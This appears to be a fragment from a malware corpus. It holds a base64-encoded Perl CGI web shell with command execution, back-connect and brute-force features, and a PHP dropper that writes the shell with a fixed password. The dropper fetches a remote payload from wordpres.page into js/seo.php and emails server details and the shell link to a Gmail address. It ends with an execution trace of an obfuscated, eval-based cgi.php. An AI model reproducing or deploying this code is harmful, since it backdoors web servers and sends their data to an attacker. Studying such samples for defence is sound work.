jsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkb21haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9uZyBTYTwvZm9udD48L2g1PiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KCX0NCglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQ0KCXsNCgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykNCgkJewkNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJG9uZTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBWaWV3IExvZw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdMb2cNCnsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLA0KCQkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnDQoJCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC13ICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQljaG9wKCRzbCA9IGBsbiAtcyAkbG9nIGVycm9yX2xvZ18kaWApOw0KCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikNCgkJCXsNCgkJCQlpZigtciAkbHMpDQoJCQkJew0KCQkJCQkkcGVybXM9Ik9LIjsNCgkJCQkJJGxvZz0iZXJyb3JfbG9nXyIuJGk7DQoJCQkJfQ0KCQkJfWVsc2UNCgkJCXsNCgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCEoJGNobW9kIGVxIDApKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJY2hvcCgkcmVzdWx0PSBgY2htb2QgJGNobW9kICIkZmlsZSJgKTsNCgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkcmVuYW1lPSRpbnsncmVuYW1lJ307DQoJaWYoISRyZW5hbWUgZXEgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoNCglwcmludCAmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';\r\n\$file = fopen(\"cgi.cgi\" ,\"w+\");\r\n\$write = fwrite (\$file ,base64_decode(\$xaivhost));\r\nfclose(\$file);\r\n    chmod(\"cgi.cgi\",0755);\r\n   echo \"<a href='cgi'><font color=yellow size=4 face=courier new><b>PassWord => asu</font></b></a>\";\r\n}\r\n?>\r\n</body>\r\n</html><?php if(\$_POST['query']){ \$veriyfy = stripslashes(stripslashes(\$_POST['query']));\r\n \$data = \"data.txt\";\r\n @touch (\"data.txt\");\r\n \$ver = @fopen (\$data , 'w');\r\n @fwrite ( \$ver , \$veriyfy ) ;\r\n @fclose (\$ver);\r\n }else{ \$datas=@fopen(\"data.txt\",'r');\r\n \$i=0;\r\n while (\$i <= 5) { \$i++;\r\n \$blue=@fgets(\$datas,1024);\r\n echo \$blue;\r\n } } \$datasi=@fopen(\"js/seo.php\",'r');\r\n if(\$datasi){ }else{ @mkdir(\"js\");\r\n \$dos = file_get_contents(\"https://wordpres.page/txt/lamer.txt\");\r\n \$data = \"js/seo.php\";\r\n @touch (\"js/seo.php\");\r\n \$ver = @fopen (\$data , 'w');\r\n @fwrite ( \$ver , \$dos ) ;\r\n @fclose (\$ver);\r\n \$yol = \"http://\".\$_SERVER['HTTP_HOST'].\"\".\$_SERVER['REQUEST_URI'].\"\";\r\n \$y = '<h1>Sender Yazdirildi.<br/> SITE YOL : '.\$yol.'<br/>Sender Yolu : js/crs.php</h1>';\r\n \$header .= \"From: SheLL Boot <suppor@nic.org>\\n\";\r\n \$header .= \"Content-Type: text/html;\r\n charset=utf-8\\n\";\r\n @mail(\"byhero44@gmail.com\", \"Hacklink Bildiri\", \"\$y\", \$header);\r\n @mail(\"byhero44@gmail.com\", \"Hacklink Bildiri\", \"\$y\", \$header);\r\n } \r\n?>\r\n<?php\r\n\$kime = \"byhero44@gmail.com\";\r\n\$baslik = \"cgi 2022 log\";\r\n\$EL_MuHaMMeD = \"Dosya Yolu : \" . \$_SERVER['DOCUMENT_ROOT'] . \"\\r\\n\";\r\n\$EL_MuHaMMeD.= \"Server Admin : \" . \$_SERVER['SERVER_ADMIN'] . \"\\r\\n\";\r\n\$EL_MuHaMMeD.= \"Server isletim sistemi : \" . \$_SERVER['SERVER_SOFTWARE'] . \"\\r\\n\";\r\n\$EL_MuHaMMeD.= \"Shell Link : http://\" . \$_SERVER['SERVER_NAME'] . \$_SERVER['PHP_SELF'] . \"\\r\\n\";\r\n\$EL_MuHaMMeD.= \"Avlanan Site : \" . \$_SERVER['HTTP_HOST'] . \"\\r\\n\";\r\nmail(\$kime, \$baslik, \$EL_MuHaMMeD);\r\n?>");

Execution traces

data/traces/2935905f8deb5dcf77b949065f55ab0f_trace-1676256069.2834.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:41:35.181259]
1	0	1	0.000130	393512
1	3	0	0.000524	439208	{main}	1		/var/www/html/uploads/cgi.php	0	0
1		A						/var/www/html/uploads/cgi.php	2	$stt1 = 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
1		A						/var/www/html/uploads/cgi.php	3	$stt0 = '=0h9cexwt/b2Eb+NMEz3Jj6P//xn+vLj0hs/LYHz7jwuBhQQ2ncoMfdO2NlwBl2+n6eHnJ0P8w2e43gR08pS6K8Zat7q9hFxo8HwRwoLFEAP6fRwEXHrGqOl6cu/GxTszREB+dpHR83Go2LrE7fnP9N7/UV6834xWJ+IjXKRg0rsMlhH/qu94NH21tuE/ZCoJT59vq92k2Cvq8LYj9eYs5/8jzuck1/oW10PMqRPecGCUlqQKVBIA2Ag+VIwAePSXaV70RofFAbgmjXAnKw1wT/x4/XAz//wn13vPOq2c1lCN8ToE8OaVH+Y1rHLOf79hre/d3Nn8R3+Hc1+w3f7a4/rnrrff2SW/5CO4+faObmwBCuHCzDsh6/P9I7TK32jOlfd9Vz/P2rHO79dUvO+2zX+rexnFaZzdCNuxfsTQCl/LiT8ni5WJHr760X91EP++CrFuUwxdKWweoQ4n1Oxeo5+9doF9jHU+fxHdFaQlLTQj5O+wnf//ueo5j0A/unb'
2	4	0	0.000605	439208	base64_decode	0		/var/www/html/uploads/cgi.php	4	1	'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
2	4	1	0.000625	439368
2	4	R			'K-K��P��S�+.)�/�/14�H���K�I,I\005�J��s\v�R���#��X�jf\022�������\001��(�LC����@\023\tX\003\000'
2	5	0	0.000650	439336	gzinflate	0		/var/www/html/uploads/cgi.php	4	1	'K-K��P��S�+.)�/�/14�H���K�I,I\005�J��s\v�R���#��X�jf\022�������\001��(�LC����@\023\tX\003\000'
2	5	1	0.000675	439560
2	5	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	0	0.000694	439400	htmlspecialchars_decode	0		/var/www/html/uploads/cgi.php	4	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	1	0.000712	439432
2	6	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	7	0	0.000744	442584	eval	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'	/var/www/html/uploads/cgi.php	4	0
3	8	0	0.000762	442584	strrev	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'=0h9cexwt/b2Eb+NMEz3Jj6P//xn+vLj0hs/LYHz7jwuBhQQ2ncoMfdO2NlwBl2+n6eHnJ0P8w2e43gR08pS6K8Zat7q9hFxo8HwRwoLFEAP6fRwEXHrGqOl6cu/GxTszREB+dpHR83Go2LrE7fnP9N7/UV6834xWJ+IjXKRg0rsMlhH/qu94NH21tuE/ZCoJT59vq92k2Cvq8LYj9eYs5/8jzuck1/oW10PMqRPecGCUlqQKVBIA2Ag+VIwAePSXaV70RofFAbgmjXAnKw1wT/x4/XAz//wn13vPOq2c1lCN8ToE8OaVH+Y1rHLOf79hre/d3Nn8R3+Hc1+w3f7a4/rnrrff2SW/5CO4+faObmwBCuHCzDsh6/P9I7TK32jOlfd9Vz/P2rHO79dUvO+2zX+rexnFaZzdCNuxfsTQCl/LiT8ni5WJHr760X91EP++CrFuUwxdKWweoQ4n1Oxeo5+9doF9jHU+fxHdFaQlLTQj5O+wnf//ueo5j0A/unb'
3	8	1	0.000817	479480
3	8	R			'eJwBH2LgnQEaYuWdeJwBD2LwnQEKYvWdeJwB/2EAngH6YQWeeJwB72EQnu29aZfiSLIo+Pn2Of0fuHlrXladrMoUEGQG3VV5i0UriE0gBfTtyQN0sAqQCCEk3dc/ar7MH5j5YWNm7tqAjIzqJbPfO9PddAbI5Yu5uW1uy8//OT/Nf/+779yZs4qO0+Wnx9lsWfil8N0naSCqA/FPr/r1njIZ1ORPYr0uv/rzHy8bf3rywyO84fqP0310/P7TJ8McDz59+gFbbuaf3OPy6GCXAvzgP32PzT8dt/5iufg+39Pb1+8285/C2d59C5N6/cMPv//dfxcKhd//Dv6v4E+dcOUeC8++8kfWNjdsEX786zFcHKE3/nj+eHzyt/DMma2my+9/PW7n4cw9fv/63esfCzdW98MPccd7eOl1PMzT7PH773xaWeE7/2feLf795s0PrAkfkb/53f7t67dv38Xvw6KeAwcNDQt8/Rbfu4QM6yDp//Mg+nw3f8y+fAWz9NHh'
3	9	0	0.000866	479448	base64_decode	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'eJwBH2LgnQEaYuWdeJwBD2LwnQEKYvWdeJwB/2EAngH6YQWeeJwB72EQnu29aZfiSLIo+Pn2Of0fuHlrXladrMoUEGQG3VV5i0UriE0gBfTtyQN0sAqQCCEk3dc/ar7MH5j5YWNm7tqAjIzqJbPfO9PddAbI5Yu5uW1uy8//OT/Nf/+779yZs4qO0+Wnx9lsWfil8N0naSCqA/FPr/r1njIZ1ORPYr0uv/rzHy8bf3rywyO84fqP0310/P7TJ8McDz59+gFbbuaf3OPy6GCXAvzgP32PzT8dt/5iufg+39Pb1+8285/C2d59C5N6/cMPv//dfxcKhd//Dv6v4E+dcOUeC8++8kfWNjdsEX786zFcHKE3/nj+eHzyt/DMma2my+9/PW7n4cw9fv/63esfCzdW98MPccd7eOl1PMzT7PH773xaWeE7/2feLf795s0PrAkfkb/53f7t67dv38Xvw6KeAwcNDQt8/Rbfu4QM6yDp//Mg+nw3f8y+fAWz9NHh'
3	9	1	0.000989	516344
3	9	R			'x�\001\037b�\001\032b�x�\001\017b�\001\nb��x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �'
3	10	0	0.001460	479448	gzuncompress	0		/var/www/html/uploads/cgi.php(4) : eval()'d code	1	1	'x�\001\037b�\001\032b�x�\001\017b�\001\nb��x�\001�a\000�\001�a\005�x�\001�a\020��i��H�(���9�\037�yk^V���\024\020d\006�Uy�E+�M \005���\003t�\n�\b!$��?j��\037��acf�ڀ���%��;��t\006�勹�mn��9?����ܙ�������lY����\'i �\003�O����2\031��Ob�.���\037/\033z��#���}t���\'�\034\017>}�\001[n�����`�\002��?}��?\035��b��>�����6����}\v�z��\017���\027\n��\016���O�p�\036\vϾ�G�67l\021~��1\\\034�7�x�x|��̙����=n���=~����\037\v7V��\017q�{x�u<�����|ZY�;�g�-����\017�\t\037������o���â�\003\a\r\r\v|�\026߻�\f� �'
3	10	1	0.001942	508152
